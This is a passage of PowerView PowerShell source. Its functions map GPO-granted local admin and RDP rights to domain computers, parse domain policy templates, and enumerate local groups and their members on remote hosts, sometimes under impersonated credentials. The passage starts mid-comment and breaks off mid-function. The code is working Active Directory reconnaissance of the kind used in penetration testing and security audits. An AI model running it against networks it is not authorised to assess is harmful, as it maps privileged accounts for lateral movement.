localgroup specifications.
|
|
|
|
.PARAMETER ComputerIdentity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
|
|
|
|
.PARAMETER OUIdentity
|
|
|
|
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
|
|
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
|
|
|
|
.PARAMETER LocalGroup
|
|
|
|
The local group to check access against.
|
|
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
|
|
or a custom local SID. Defaults to local 'Administrators'.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to enumerate GPOs for, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
|
|
|
|
Finds users who have local admin rights over WINDOWS3 through GPO correlation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
|
|
|
|
Finds users who have RDP rights over WINDOWS4 through GPO correlation.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.GGPOComputerLocalGroupMember
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.GGPOComputerLocalGroupMember')]
|
|
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
|
|
Param(
|
|
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String]
|
|
$ComputerIdentity,
|
|
|
|
[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
|
|
[Alias('OU')]
|
|
[String]
|
|
$OUIdentity,
|
|
|
|
[String]
|
|
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
|
|
$LocalGroup = 'Administrators',
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$CommonArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['ComputerIdentity']) {
|
|
$Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
|
|
|
|
if (-not $Computers) {
|
|
throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
|
|
}
|
|
|
|
ForEach ($Computer in $Computers) {
|
|
|
|
$GPOGuids = @()
|
|
|
|
# extract any GPOs linked to this computer's OU through gpLink
|
|
$DN = $Computer.distinguishedname
|
|
$OUIndex = $DN.IndexOf('OU=')
|
|
if ($OUIndex -gt 0) {
|
|
$OUName = $DN.SubString($OUIndex)
|
|
}
|
|
if ($OUName) {
|
|
$GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
|
|
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
|
|
}
|
|
}
|
|
|
|
# extract any GPOs linked to this computer's site through gpLink
|
|
Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
|
|
$ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
|
|
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
|
|
$GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
|
|
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
|
|
}
|
|
}
|
|
|
|
# process any GPO local group settings from the GPO GUID set
|
|
$GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
|
|
$GPOGroup = $_
|
|
|
|
if($GPOGroup.GroupMembers) {
|
|
$GPOMembers = $GPOGroup.GroupMembers
|
|
}
|
|
else {
|
|
$GPOMembers = $GPOGroup.GroupSID
|
|
}
|
|
|
|
$GPOMembers | ForEach-Object {
|
|
$Object = Get-DomainObject @CommonArguments -Identity $_
|
|
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
|
|
|
|
$GPOComputerLocalGroupMember = New-Object PSObject
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
|
|
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
|
|
$GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember')
|
|
$GPOComputerLocalGroupMember
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainPolicyData {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the default domain policy or the domain controller policy for the current
|
|
domain or a specified domain/domain controller.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns the default domain policy or the domain controller policy for the current
|
|
domain or a specified domain/domain controller using Get-DomainGPO.
|
|
|
|
.PARAMETER Domain
|
|
|
|
The domain to query for default policies, defaults to the current domain.
|
|
|
|
.PARAMETER Policy
|
|
|
|
Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
|
|
Otherwise queries for the particular GPO name or GUID.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainPolicyData
|
|
|
|
Returns the default domain policy for the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainPolicyData -Domain dev.testlab.local
|
|
|
|
Returns the default domain policy for the dev.testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPO | Get-DomainPolicy
|
|
|
|
Parses any GptTmpl.infs found for any policies in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainPolicyData -Policy DC -Domain dev.testlab.local
|
|
|
|
Returns the policy for the dev.testlab.local domain controller.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainPolicyData -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
Hashtable
|
|
|
|
Ouputs a hashtable representing the parsed GptTmpl.inf file.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([Hashtable])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Source', 'Name')]
|
|
[String]
|
|
$Policy = 'Domain',
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
$ConvertArguments = @{}
|
|
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Domain']) {
|
|
$SearcherArguments['Domain'] = $Domain
|
|
$ConvertArguments['Domain'] = $Domain
|
|
}
|
|
|
|
if ($Policy -eq 'All') {
|
|
$SearcherArguments['Identity'] = '*'
|
|
}
|
|
elseif ($Policy -eq 'Domain') {
|
|
$SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
|
|
}
|
|
elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
|
|
$SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}'
|
|
}
|
|
else {
|
|
$SearcherArguments['Identity'] = $Policy
|
|
}
|
|
|
|
$GPOResults = Get-DomainGPO @SearcherArguments
|
|
|
|
ForEach ($GPO in $GPOResults) {
|
|
# grab the GptTmpl.inf file and parse it
|
|
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
|
|
|
|
$ParseArgs = @{
|
|
'GptTmplPath' = $GptTmplPath
|
|
'OutputObject' = $True
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
|
|
|
|
# parse the GptTmpl.inf
|
|
Get-GptTmpl @ParseArgs | ForEach-Object {
|
|
$_ | Add-Member Noteproperty 'GPOName' $GPO.name
|
|
$_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# Functions that enumerate a single host, either through
|
|
# WinNT, WMI, remote registry, or API calls
|
|
# (with PSReflect).
|
|
#
|
|
########################################################
|
|
|
|
function Get-NetLocalGroup {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the local groups on the local (or remote) machine.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will enumerate the names and descriptions for the
|
|
local groups on the current, or remote, machine. By default, the Win32 API
|
|
call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT"
|
|
causes the WinNT service provider to be used instead, which returns group
|
|
SIDs along with the group names and descriptions/comments.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for sessions (also accepts IP addresses).
|
|
Defaults to the localhost.
|
|
|
|
.PARAMETER Method
|
|
|
|
The collection method to use, defaults to 'API', also accepts 'WinNT'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to a remote machine. Only applicable with "-Method WinNT".
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroup
|
|
|
|
ComputerName GroupName Comment
|
|
------------ --------- -------
|
|
WINDOWS1 Administrators Administrators have comple...
|
|
WINDOWS1 Backup Operators Backup Operators can overr...
|
|
WINDOWS1 Cryptographic Operators Members are authorized to ...
|
|
...
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroup -Method Winnt
|
|
|
|
ComputerName GroupName GroupSID Comment
|
|
------------ --------- -------- -------
|
|
WINDOWS1 Administrators S-1-5-32-544 Administrators hav...
|
|
WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c...
|
|
WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author...
|
|
...
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroup -ComputerName primary.testlab.local
|
|
|
|
ComputerName GroupName Comment
|
|
------------ --------- -------
|
|
primary.testlab.local Administrators Administrators have comple...
|
|
primary.testlab.local Users Users are prevented from m...
|
|
primary.testlab.local Guests Guests have the same acces...
|
|
primary.testlab.local Print Operators Members can administer dom...
|
|
primary.testlab.local Backup Operators Backup Operators can overr...
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LocalGroup.API
|
|
|
|
Custom PSObject with translated group property fields from API results.
|
|
|
|
PowerView.LocalGroup.WinNT
|
|
|
|
Custom PSObject with translated group property fields from WinNT results.
|
|
|
|
.LINK
|
|
|
|
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.LocalGroup.API')]
|
|
[OutputType('PowerView.LocalGroup.WinNT')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = $Env:COMPUTERNAME,
|
|
|
|
[ValidateSet('API', 'WinNT')]
|
|
[Alias('CollectionMethod')]
|
|
[String]
|
|
$Method = 'API',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
if ($Method -eq 'API') {
|
|
# if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
|
|
|
|
# arguments for NetLocalGroupEnum
|
|
$QueryLevel = 1
|
|
$PtrInfo = [IntPtr]::Zero
|
|
$EntriesRead = 0
|
|
$TotalRead = 0
|
|
$ResumeHandle = 0
|
|
|
|
# get the local user information
|
|
$Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
|
|
|
|
# locate the offset of the initial intPtr
|
|
$Offset = $PtrInfo.ToInt64()
|
|
|
|
# 0 = success
|
|
if (($Result -eq 0) -and ($Offset -gt 0)) {
|
|
|
|
# Work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $LOCALGROUP_INFO_1::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $EntriesRead); $i++) {
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $LOCALGROUP_INFO_1
|
|
|
|
$Offset = $NewIntPtr.ToInt64()
|
|
$Offset += $Increment
|
|
|
|
$LocalGroup = New-Object PSObject
|
|
$LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
|
|
$LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
|
|
$LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
|
|
$LocalGroup
|
|
}
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
}
|
|
}
|
|
else {
|
|
# otherwise we're using the WinNT service provider
|
|
$ComputerProvider = [ADSI]"WinNT://$Computer,computer"
|
|
|
|
$ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
|
|
$LocalGroup = ([ADSI]$_)
|
|
$Group = New-Object PSObject
|
|
$Group | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
|
|
$Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value)
|
|
$Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
|
|
$Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
|
|
$Group
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-NetLocalGroupMember {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates members of a specific local group on the local (or remote) machine.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Convert-ADName
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will enumerate the members of a specified local group on the
|
|
current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers
|
|
will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider
|
|
to be used instead, which returns a larger amount of information.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for sessions (also accepts IP addresses).
|
|
Defaults to the localhost.
|
|
|
|
.PARAMETER GroupName
|
|
|
|
The local group name to query for users. If not given, it defaults to "Administrators".
|
|
|
|
.PARAMETER Method
|
|
|
|
The collection method to use, defaults to 'API', also accepts 'WinNT'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to a remote machine. Only applicable with "-Method WinNT".
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroupMember | ft
|
|
|
|
ComputerName GroupName MemberName SID IsGroup IsDomain
|
|
------------ --------- ---------- --- ------- --------
|
|
WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
|
|
WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
|
|
WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
|
|
WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroupMember -Method winnt | ft
|
|
|
|
ComputerName GroupName MemberName SID IsGroup IsDomain
|
|
------------ --------- ---------- --- ------- --------
|
|
WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
|
|
WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
|
|
WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
|
|
WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroup | Get-NetLocalGroupMember | ft
|
|
|
|
ComputerName GroupName MemberName SID IsGroup IsDomain
|
|
------------ --------- ---------- --- ------- --------
|
|
WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
|
|
WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
|
|
WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
|
|
WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
|
|
WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False
|
|
WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False
|
|
WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False
|
|
WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False
|
|
WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN
|
|
WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
|
|
|
|
ComputerName GroupName MemberName SID IsGroup IsDomain
|
|
------------ --------- ---------- --- ------- --------
|
|
primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False
|
|
primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False
|
|
primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False
|
|
primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LocalGroupMember.API
|
|
|
|
Custom PSObject with translated group property fields from API results.
|
|
|
|
PowerView.LocalGroupMember.WinNT
|
|
|
|
Custom PSObject with translated group property fields from WinNT results.
|
|
|
|
.LINK
|
|
|
|
http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
|
|
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
|
|
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.LocalGroupMember.API')]
|
|
[OutputType('PowerView.LocalGroupMember.WinNT')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = $Env:COMPUTERNAME,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$GroupName = 'Administrators',
|
|
|
|
[ValidateSet('API', 'WinNT')]
|
|
[Alias('CollectionMethod')]
|
|
[String]
|
|
$Method = 'API',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
if ($Method -eq 'API') {
|
|
# if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
|
|
|
|
# arguments for NetLocalGroupGetMembers
|
|
$QueryLevel = 2
|
|
$PtrInfo = [IntPtr]::Zero
|
|
$EntriesRead = 0
|
|
$TotalRead = 0
|
|
$ResumeHandle = 0
|
|
|
|
# get the local user information
|
|
$Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
|
|
|
|
# locate the offset of the initial intPtr
|
|
$Offset = $PtrInfo.ToInt64()
|
|
|
|
$Members = @()
|
|
|
|
# 0 = success
|
|
if (($Result -eq 0) -and ($Offset -gt 0)) {
|
|
|
|
# Work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $EntriesRead); $i++) {
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
|
|
|
|
$Offset = $NewIntPtr.ToInt64()
|
|
$Offset += $Increment
|
|
|
|
$SidString = ''
|
|
$Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
|
|
|
if ($Result2 -eq 0) {
|
|
Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
}
|
|
else {
|
|
$Member = New-Object PSObject
|
|
$Member | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Member | Add-Member Noteproperty 'GroupName' $GroupName
|
|
$Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
|
|
$Member | Add-Member Noteproperty 'SID' $SidString
|
|
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
|
|
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
|
|
$Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
|
|
$Members += $Member
|
|
}
|
|
}
|
|
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
|
|
# try to extract out the machine SID by using the -500 account as a reference
|
|
$MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID
|
|
if ($MachineSid) {
|
|
$MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
|
|
|
|
$Members | ForEach-Object {
|
|
if ($_.SID -match $MachineSid) {
|
|
$_ | Add-Member Noteproperty 'IsDomain' $False
|
|
}
|
|
else {
|
|
$_ | Add-Member Noteproperty 'IsDomain' $True
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Members | ForEach-Object {
|
|
if ($_.SID -notmatch 'S-1-5-21') {
|
|
$_ | Add-Member Noteproperty 'IsDomain' $False
|
|
}
|
|
else {
|
|
$_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
|
|
}
|
|
}
|
|
}
|
|
$Members
|
|
}
|
|
else {
|
|
